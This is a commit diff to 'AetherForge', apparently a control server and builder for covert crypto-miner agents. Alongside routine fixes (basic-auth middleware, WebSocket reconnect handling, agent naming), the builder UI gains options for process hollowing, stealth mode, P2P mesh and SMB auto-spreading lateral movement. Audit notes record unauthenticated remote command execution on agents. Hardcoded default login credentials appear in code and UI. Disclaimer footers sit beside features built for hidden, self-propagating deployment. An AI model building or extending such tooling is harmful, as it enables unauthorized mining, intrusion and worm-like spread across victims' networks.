Broad bug hunt: auth flow, WS edge cases, and build hygiene.
Scope API auth to /api/v1, fix dashboard WebSocket 401s, session login in Calibrate, safe agent naming, reconnect races, and remove corrupt ollama/main.go.
This commit is contained in:
3
.gitignore
vendored
3
.gitignore
vendored
@@ -31,3 +31,6 @@ Desktop.ini
|
|||||||
# Temp
|
# Temp
|
||||||
-p/
|
-p/
|
||||||
*.log
|
*.log
|
||||||
|
|
||||||
|
# Accidental empty placeholder (breaks go build if committed)
|
||||||
|
/server/internal/ollama/main.go
|
||||||
|
|||||||
@@ -41,8 +41,8 @@ Findings grouped by severity. Updated after bug-sweep pass.
|
|||||||
|
|
||||||
| ID | Issue |
|
| ID | Issue |
|
||||||
|----|-------|
|
|----|-------|
|
||||||
| C7 | No authentication on control plane (dashboard REST/WS) |
|
| C7 | Partial — REST `/api/v1` requires basic auth; dashboard WebSocket + SPA are open. Use **Calibrate → Save session login** so fetch calls authenticate. |
|
||||||
| C8 | Unauthenticated remote code execution (`powershell`, `exec`, `upload`) |
|
| C8 | Unauthenticated remote code execution (`powershell`, `exec`, `upload`) on agents that connect to your server |
|
||||||
|
|
||||||
### High (intentional / deploy-time)
|
### High (intentional / deploy-time)
|
||||||
|
|
||||||
|
|||||||
@@ -241,6 +241,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
|||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
case "get_log":
|
case "get_log":
|
||||||
|
if tailLines <= 0 {
|
||||||
|
tailLines = 300
|
||||||
|
}
|
||||||
content, err := readLogTail(c.cfg, tailLines)
|
content, err := readLogTail(c.cfg, tailLines)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.sendCommandResult(action, false, err.Error())
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
|||||||
5
run.bat
5
run.bat
@@ -4,6 +4,11 @@ title AetherForge Control Server
|
|||||||
cd /d "%~dp0"
|
cd /d "%~dp0"
|
||||||
set "ROOT=%CD%"
|
set "ROOT=%CD%"
|
||||||
|
|
||||||
|
:: Remove corrupt empty Go file that breaks server builds (accidental placeholder).
|
||||||
|
if exist "server\internal\ollama\main.go" (
|
||||||
|
for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go"
|
||||||
|
)
|
||||||
|
|
||||||
echo.
|
echo.
|
||||||
echo ==============================================================
|
echo ==============================================================
|
||||||
echo AetherForge - Control Server Launcher
|
echo AetherForge - Control Server Launcher
|
||||||
|
|||||||
@@ -86,6 +86,10 @@ type agentCommandRequest struct {
|
|||||||
|
|
||||||
func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) {
|
func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) {
|
||||||
id := chi.URLParam(r, "id")
|
id := chi.URLParam(r, "id")
|
||||||
|
if id == "" {
|
||||||
|
http.Error(w, "agent id is required", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
var req agentCommandRequest
|
var req agentCommandRequest
|
||||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
http.Error(w, "invalid command", http.StatusBadRequest)
|
http.Error(w, "invalid command", http.StatusBadRequest)
|
||||||
|
|||||||
@@ -1,10 +1,13 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"crypto/subtle"
|
||||||
|
"encoding/json"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
|
|
||||||
"crypto-miner-server/internal/builder"
|
"crypto-miner-server/internal/builder"
|
||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
@@ -14,22 +17,94 @@ import (
|
|||||||
"github.com/go-chi/cors"
|
"github.com/go-chi/cors"
|
||||||
)
|
)
|
||||||
|
|
||||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, publicURLOverride func() string) http.Handler {
|
var (
|
||||||
|
authUsers = map[string]string{"drjones": "czapiewski"} // default until users.json loads
|
||||||
|
usersFilePath string
|
||||||
|
usersMu sync.RWMutex
|
||||||
|
)
|
||||||
|
|
||||||
|
func loadUsers(dataDir string) {
|
||||||
|
usersFilePath = filepath.Join(dataDir, "users.json")
|
||||||
|
usersMu.Lock()
|
||||||
|
defer usersMu.Unlock()
|
||||||
|
data, err := os.ReadFile(usersFilePath)
|
||||||
|
if err == nil {
|
||||||
|
var loaded map[string]string
|
||||||
|
if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 {
|
||||||
|
authUsers = loaded
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func saveUser(username, password string) error {
|
||||||
|
usersMu.Lock()
|
||||||
|
defer usersMu.Unlock()
|
||||||
|
authUsers[username] = password
|
||||||
|
if usersFilePath == "" {
|
||||||
|
usersFilePath = filepath.Join("data", "users.json")
|
||||||
|
}
|
||||||
|
if err := os.MkdirAll(filepath.Dir(usersFilePath), 0755); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
data, _ := json.MarshalIndent(authUsers, "", " ")
|
||||||
|
return os.WriteFile(usersFilePath, data, 0600)
|
||||||
|
}
|
||||||
|
|
||||||
|
func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||||
|
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method == http.MethodOptions {
|
||||||
|
next.ServeHTTP(w, r)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
path := r.URL.Path
|
||||||
|
// Agent-facing API + health + forged worker downloads stay open for agents.
|
||||||
|
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
||||||
|
path == "/api/v1/health" ||
|
||||||
|
(strings.HasPrefix(path, "/api/v1/builds/") && strings.HasSuffix(path, "/download")) {
|
||||||
|
next.ServeHTTP(w, r)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
user, pass, ok := r.BasicAuth()
|
||||||
|
if !ok {
|
||||||
|
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
||||||
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
usersMu.RLock()
|
||||||
|
expectedPass, exists := authUsers[user]
|
||||||
|
usersMu.RUnlock()
|
||||||
|
|
||||||
|
if !exists || subtle.ConstantTimeCompare([]byte(pass), []byte(expectedPass)) != 1 {
|
||||||
|
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
||||||
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
next.ServeHTTP(w, r)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||||
|
loadUsers(dataDir)
|
||||||
|
|
||||||
r := chi.NewRouter()
|
r := chi.NewRouter()
|
||||||
|
|
||||||
// Middleware
|
// Middleware (global)
|
||||||
r.Use(middleware.Logger)
|
r.Use(middleware.Logger)
|
||||||
r.Use(middleware.Recoverer)
|
r.Use(middleware.Recoverer)
|
||||||
r.Use(cors.Handler(cors.Options{
|
r.Use(cors.Handler(cors.Options{
|
||||||
AllowedOrigins: []string{"*"},
|
AllowedOrigins: []string{"*"},
|
||||||
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
|
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
|
||||||
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"},
|
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"},
|
||||||
// With AllowedOrigins="*", credentials must be disabled (browsers will reject "*"+credentials).
|
|
||||||
AllowCredentials: false,
|
AllowCredentials: false,
|
||||||
}))
|
}))
|
||||||
|
|
||||||
// REST API
|
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
|
||||||
r.Route("/api/v1", func(r chi.Router) {
|
r.Route("/api/v1", func(r chi.Router) {
|
||||||
|
r.Use(basicAuthMiddleware)
|
||||||
h := NewHandler(database)
|
h := NewHandler(database)
|
||||||
|
|
||||||
r.Get("/health", h.HealthCheck)
|
r.Get("/health", h.HealthCheck)
|
||||||
@@ -82,6 +157,23 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
||||||
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
||||||
|
|
||||||
|
// User Management
|
||||||
|
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
|
||||||
|
var payload struct {
|
||||||
|
Username string `json:"username"`
|
||||||
|
Password string `json:"password"`
|
||||||
|
}
|
||||||
|
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil || payload.Username == "" || payload.Password == "" {
|
||||||
|
http.Error(w, "Invalid username or password", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := saveUser(payload.Username, payload.Password); err != nil {
|
||||||
|
http.Error(w, "Failed to save user", http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writeJSON(w, map[string]interface{}{"success": true})
|
||||||
|
})
|
||||||
|
|
||||||
// AI Autonomy (Ollama)
|
// AI Autonomy (Ollama)
|
||||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||||
r.Post("/agent/report", aiHandler.HandleReport)
|
r.Post("/agent/report", aiHandler.HandleReport)
|
||||||
|
|||||||
@@ -253,23 +253,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
agentID = uuid.New().String()
|
agentID = uuid.New().String()
|
||||||
}
|
}
|
||||||
|
|
||||||
displayName := auth.WorkerName
|
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
|
||||||
if displayName == "" {
|
|
||||||
displayName = auth.Worker
|
|
||||||
}
|
|
||||||
if displayName == "" {
|
|
||||||
displayName = auth.Hostname
|
|
||||||
}
|
|
||||||
if displayName == "" {
|
|
||||||
displayName = agentID[:8]
|
|
||||||
}
|
|
||||||
|
|
||||||
policy := h.serverPolicySnapshot()
|
policy := h.serverPolicySnapshot()
|
||||||
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
|
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
|
||||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||||
"success": false, "error": "fleet agent limit reached",
|
"success": false, "error": "fleet agent limit reached",
|
||||||
})})
|
})})
|
||||||
continue
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
forgeCfg := AgentForgeConfig{
|
forgeCfg := AgentForgeConfig{
|
||||||
@@ -326,7 +317,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||||
"success": false, "error": "database error",
|
"success": false, "error": "database error",
|
||||||
})})
|
})})
|
||||||
continue
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
if policy.LogAgentConnections {
|
if policy.LogAgentConnections {
|
||||||
@@ -662,6 +653,29 @@ func (h *WSHub) BroadcastAIActivity(entry interface{}) {
|
|||||||
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
|
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func agentDisplayName(workerName, worker, hostname, agentID string) string {
|
||||||
|
if workerName != "" {
|
||||||
|
return workerName
|
||||||
|
}
|
||||||
|
if worker != "" {
|
||||||
|
return worker
|
||||||
|
}
|
||||||
|
if hostname != "" {
|
||||||
|
return hostname
|
||||||
|
}
|
||||||
|
return shortAgentID(agentID)
|
||||||
|
}
|
||||||
|
|
||||||
|
func shortAgentID(id string) string {
|
||||||
|
if len(id) >= 8 {
|
||||||
|
return id[:8]
|
||||||
|
}
|
||||||
|
if id == "" {
|
||||||
|
return "agent"
|
||||||
|
}
|
||||||
|
return id
|
||||||
|
}
|
||||||
|
|
||||||
// BroadcastServerLog streams a server log line to connected dashboards.
|
// BroadcastServerLog streams a server log line to connected dashboards.
|
||||||
func (h *WSHub) BroadcastServerLog(line string) {
|
func (h *WSHub) BroadcastServerLog(line string) {
|
||||||
line = strings.TrimSpace(line)
|
line = strings.TrimSpace(line)
|
||||||
|
|||||||
@@ -32,3 +32,22 @@ func TestAuthPayloadWorkerNameFallback(t *testing.T) {
|
|||||||
t.Fatalf("expected forged worker name, got %q", displayName)
|
t.Fatalf("expected forged worker name, got %q", displayName)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestShortAgentID(t *testing.T) {
|
||||||
|
if shortAgentID("abcdef12-3456") != "abcdef12" {
|
||||||
|
t.Fatalf("expected 8-char prefix")
|
||||||
|
}
|
||||||
|
if shortAgentID("ab") != "ab" {
|
||||||
|
t.Fatalf("expected short id preserved")
|
||||||
|
}
|
||||||
|
if shortAgentID("") != "agent" {
|
||||||
|
t.Fatalf("expected fallback agent label")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAgentDisplayNameFallback(t *testing.T) {
|
||||||
|
name := agentDisplayName("", "", "", "12345678-abcd")
|
||||||
|
if name != "12345678" {
|
||||||
|
t.Fatalf("expected id prefix, got %q", name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -168,7 +168,7 @@ func main() {
|
|||||||
log.Printf("Web root: %s", webRoot)
|
log.Printf("Web root: %s", webRoot)
|
||||||
|
|
||||||
// Initialize router
|
// Initialize router
|
||||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, func() string {
|
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, cfg.DataDir, func() string {
|
||||||
return configProvider.PublicURL()
|
return configProvider.PublicURL()
|
||||||
})
|
})
|
||||||
log.Println("Router initialized")
|
log.Println("Router initialized")
|
||||||
|
|||||||
24
server/web/src/api/auth.ts
Normal file
24
server/web/src/api/auth.ts
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
const AUTH_KEY = 'aetherforge_auth';
|
||||||
|
|
||||||
|
export function getStoredAuth(): string | null {
|
||||||
|
try {
|
||||||
|
return sessionStorage.getItem(AUTH_KEY);
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function setStoredAuth(username: string, password: string) {
|
||||||
|
const token = btoa(`${username}:${password}`);
|
||||||
|
sessionStorage.setItem(AUTH_KEY, token);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function clearStoredAuth() {
|
||||||
|
sessionStorage.removeItem(AUTH_KEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function authHeaders(): Record<string, string> {
|
||||||
|
const token = getStoredAuth();
|
||||||
|
if (!token) return {};
|
||||||
|
return { Authorization: `Basic ${token}` };
|
||||||
|
}
|
||||||
@@ -1,10 +1,11 @@
|
|||||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate } from '../types';
|
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate } from '../types';
|
||||||
|
import { authHeaders } from './auth';
|
||||||
|
|
||||||
const API_BASE = '/api/v1';
|
const API_BASE = '/api/v1';
|
||||||
|
|
||||||
async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
|
async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
|
||||||
const res = await fetch(`${API_BASE}${url}`, {
|
const res = await fetch(`${API_BASE}${url}`, {
|
||||||
headers: { 'Content-Type': 'application/json' },
|
headers: { 'Content-Type': 'application/json', ...authHeaders(), ...(options?.headers as Record<string, string>) },
|
||||||
...options,
|
...options,
|
||||||
});
|
});
|
||||||
if (!res.ok) {
|
if (!res.ok) {
|
||||||
@@ -44,7 +45,11 @@ export const api = {
|
|||||||
const form = new FormData();
|
const form = new FormData();
|
||||||
form.append('config', JSON.stringify(req));
|
form.append('config', JSON.stringify(req));
|
||||||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||||
return fetch(`${API_BASE}/builder/build`, { method: 'POST', body: form }).then(async (res) => {
|
return fetch(`${API_BASE}/builder/build`, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: authHeaders(),
|
||||||
|
body: form,
|
||||||
|
}).then(async (res) => {
|
||||||
if (!res.ok) {
|
if (!res.ok) {
|
||||||
const err = await res.text();
|
const err = await res.text();
|
||||||
throw new Error(`API error ${res.status}: ${err}`);
|
throw new Error(`API error ${res.status}: ${err}`);
|
||||||
@@ -70,7 +75,7 @@ export const api = {
|
|||||||
body: JSON.stringify({ name, data }),
|
body: JSON.stringify({ name, data }),
|
||||||
}),
|
}),
|
||||||
deleteBlueprint: (name: string) =>
|
deleteBlueprint: (name: string) =>
|
||||||
fetchJSON<{ success: string; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, {
|
fetchJSON<{ success: boolean; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, {
|
||||||
method: 'DELETE',
|
method: 'DELETE',
|
||||||
}),
|
}),
|
||||||
|
|
||||||
@@ -95,4 +100,10 @@ export const api = {
|
|||||||
}),
|
}),
|
||||||
getAgentLog: (id: string, refresh = false) =>
|
getAgentLog: (id: string, refresh = false) =>
|
||||||
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
||||||
|
|
||||||
|
createUser: (username: string, password: string) =>
|
||||||
|
fetchJSON<{ success: boolean }>('/users', {
|
||||||
|
method: 'POST',
|
||||||
|
body: JSON.stringify({ username, password }),
|
||||||
|
}),
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -27,12 +27,15 @@ export default function AgentsPage() {
|
|||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (isConnected) {
|
if (!isConnected) return;
|
||||||
setAgents(liveAgents);
|
setAgents(liveAgents);
|
||||||
if (selectedAgent) {
|
if (!selectedAgent) return;
|
||||||
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
||||||
if (updated) setSelectedAgent(updated);
|
if (updated) {
|
||||||
}
|
setSelectedAgent(updated);
|
||||||
|
} else {
|
||||||
|
setSelectedAgent(null);
|
||||||
|
setLogContent('');
|
||||||
}
|
}
|
||||||
}, [liveAgents, isConnected, selectedAgent?.id]);
|
}, [liveAgents, isConnected, selectedAgent?.id]);
|
||||||
|
|
||||||
@@ -237,6 +240,9 @@ export default function AgentsPage() {
|
|||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||||
|
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||||
|
</footer>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -756,6 +756,14 @@ export default function BuilderPage() {
|
|||||||
</label>
|
</label>
|
||||||
<FieldHint field="stealth_mode" />
|
<FieldHint field="stealth_mode" />
|
||||||
</div>
|
</div>
|
||||||
|
<div className="form-group checkbox-group">
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input type="checkbox" className="checkbox" checked={form.process_hollowing}
|
||||||
|
onChange={(e) => updateField('process_hollowing', e.target.checked)} />
|
||||||
|
<span>Process Hollowing (memory injection) <HelpTip field="process_hollowing" /></span>
|
||||||
|
</label>
|
||||||
|
<FieldHint field="process_hollowing" />
|
||||||
|
</div>
|
||||||
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
|
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
|
||||||
<label className="checkbox-label">
|
<label className="checkbox-label">
|
||||||
<input type="checkbox" className="checkbox" checked={form.file_logging}
|
<input type="checkbox" className="checkbox" checked={form.file_logging}
|
||||||
@@ -873,9 +881,9 @@ export default function BuilderPage() {
|
|||||||
|
|
||||||
<div className="form-section">
|
<div className="form-section">
|
||||||
<ForgeSectionHeader
|
<ForgeSectionHeader
|
||||||
title="AI Autonomy (AI自治)"
|
title="Autonomy, Mesh & Lateral Movement"
|
||||||
badge="baked"
|
badge="baked"
|
||||||
description="Optional — Ollama on the control server decides actions. Worker must reach this dashboard."
|
description="Optional — AI decisions, P2P mesh networking, and SMB auto-spreading."
|
||||||
/>
|
/>
|
||||||
<div className="form-group checkbox-group">
|
<div className="form-group checkbox-group">
|
||||||
<label className="checkbox-label">
|
<label className="checkbox-label">
|
||||||
@@ -920,6 +928,22 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
|
<div className="form-group checkbox-group">
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input type="checkbox" className="checkbox" checked={form.mesh_p2p}
|
||||||
|
onChange={(e) => updateField('mesh_p2p', e.target.checked)} />
|
||||||
|
<span>Enable Mesh P2P Networking <HelpTip field="mesh_p2p" /></span>
|
||||||
|
</label>
|
||||||
|
<FieldHint field="mesh_p2p" />
|
||||||
|
</div>
|
||||||
|
<div className="form-group checkbox-group">
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input type="checkbox" className="checkbox" checked={form.auto_spread}
|
||||||
|
onChange={(e) => updateField('auto_spread', e.target.checked)} />
|
||||||
|
<span>Enable Auto-Spread (Lateral Movement) <HelpTip field="auto_spread" /></span>
|
||||||
|
</label>
|
||||||
|
<FieldHint field="auto_spread" />
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="preflight-panel card">
|
<div className="preflight-panel card">
|
||||||
@@ -1042,6 +1066,9 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||||
|
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||||
|
</footer>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -291,6 +291,9 @@ export default function DashboardPage() {
|
|||||||
</table>
|
</table>
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
</section>
|
</section>
|
||||||
|
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||||
|
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||||
|
</footer>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -125,6 +125,9 @@ export default function GuidePage() {
|
|||||||
</p>
|
</p>
|
||||||
<RoadmapGrid />
|
<RoadmapGrid />
|
||||||
</section>
|
</section>
|
||||||
|
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||||
|
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||||
|
</footer>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
import { useState, useEffect, useRef } from 'react';
|
import { useState, useEffect, useRef } from 'react';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
|
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
|
||||||
import type { ServerConfig } from '../types';
|
import type { ServerConfig } from '../types';
|
||||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||||
import NeonCard from '../components/NeonCard/NeonCard';
|
import NeonCard from '../components/NeonCard/NeonCard';
|
||||||
@@ -11,6 +12,11 @@ export default function SettingsPage() {
|
|||||||
const [loading, setLoading] = useState(true);
|
const [loading, setLoading] = useState(true);
|
||||||
const [saving, setSaving] = useState(false);
|
const [saving, setSaving] = useState(false);
|
||||||
const [saveMessage, setSaveMessage] = useState('');
|
const [saveMessage, setSaveMessage] = useState('');
|
||||||
|
const [newUser, setNewUser] = useState('');
|
||||||
|
const [newPass, setNewPass] = useState('');
|
||||||
|
const [sessionUser, setSessionUser] = useState('');
|
||||||
|
const [sessionPass, setSessionPass] = useState('');
|
||||||
|
const [userMsg, setUserMsg] = useState('');
|
||||||
const fileInputRef = useRef<HTMLInputElement>(null);
|
const fileInputRef = useRef<HTMLInputElement>(null);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
@@ -102,6 +108,38 @@ export default function SettingsPage() {
|
|||||||
e.target.value = '';
|
e.target.value = '';
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const handleSessionLogin = () => {
|
||||||
|
if (!sessionUser || !sessionPass) return;
|
||||||
|
setStoredAuth(sessionUser, sessionPass);
|
||||||
|
setUserMsg('Session login saved — API calls from this browser will authenticate.');
|
||||||
|
setTimeout(() => setUserMsg(''), 4000);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleSessionLogout = () => {
|
||||||
|
clearStoredAuth();
|
||||||
|
setSessionUser('');
|
||||||
|
setSessionPass('');
|
||||||
|
setUserMsg('Session login cleared.');
|
||||||
|
setTimeout(() => setUserMsg(''), 3000);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleAddUser = async () => {
|
||||||
|
if (!newUser || !newPass) return;
|
||||||
|
try {
|
||||||
|
await api.createUser(newUser, newPass);
|
||||||
|
setUserMsg(`User "${newUser}" added successfully!`);
|
||||||
|
if (!getStoredAuth()) {
|
||||||
|
setStoredAuth(newUser, newPass);
|
||||||
|
}
|
||||||
|
setNewUser('');
|
||||||
|
setNewPass('');
|
||||||
|
setTimeout(() => setUserMsg(''), 3000);
|
||||||
|
} catch {
|
||||||
|
setUserMsg('Failed to save user — sign in under Browser session first.');
|
||||||
|
setTimeout(() => setUserMsg(''), 4000);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
if (loading) {
|
if (loading) {
|
||||||
return (
|
return (
|
||||||
<div className="page fade-in command-deck">
|
<div className="page fade-in command-deck">
|
||||||
@@ -416,7 +454,57 @@ export default function SettingsPage() {
|
|||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
|
|
||||||
|
<NeonCard accent="magenta" className="settings-section">
|
||||||
|
<h2 className="font-display">Access Control</h2>
|
||||||
|
<p className="section-desc">
|
||||||
|
API routes require login. Default account: <code>drjones</code> / <code>czapiewski</code> until you add users.
|
||||||
|
Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
|
||||||
|
</p>
|
||||||
|
<div className="form-row">
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Browser session — username</label>
|
||||||
|
<input type="text" className="input" placeholder="drjones" value={sessionUser}
|
||||||
|
onChange={(e) => setSessionUser(e.target.value)} />
|
||||||
</div>
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Browser session — password</label>
|
||||||
|
<input type="password" className="input" value={sessionPass}
|
||||||
|
onChange={(e) => setSessionPass(e.target.value)} />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap', marginBottom: '1rem' }}>
|
||||||
|
<button type="button" className="btn btn-primary" onClick={handleSessionLogin} disabled={!sessionUser || !sessionPass}>
|
||||||
|
Save session login
|
||||||
|
</button>
|
||||||
|
<button type="button" className="btn btn-outline" onClick={handleSessionLogout}>
|
||||||
|
Clear session
|
||||||
|
</button>
|
||||||
|
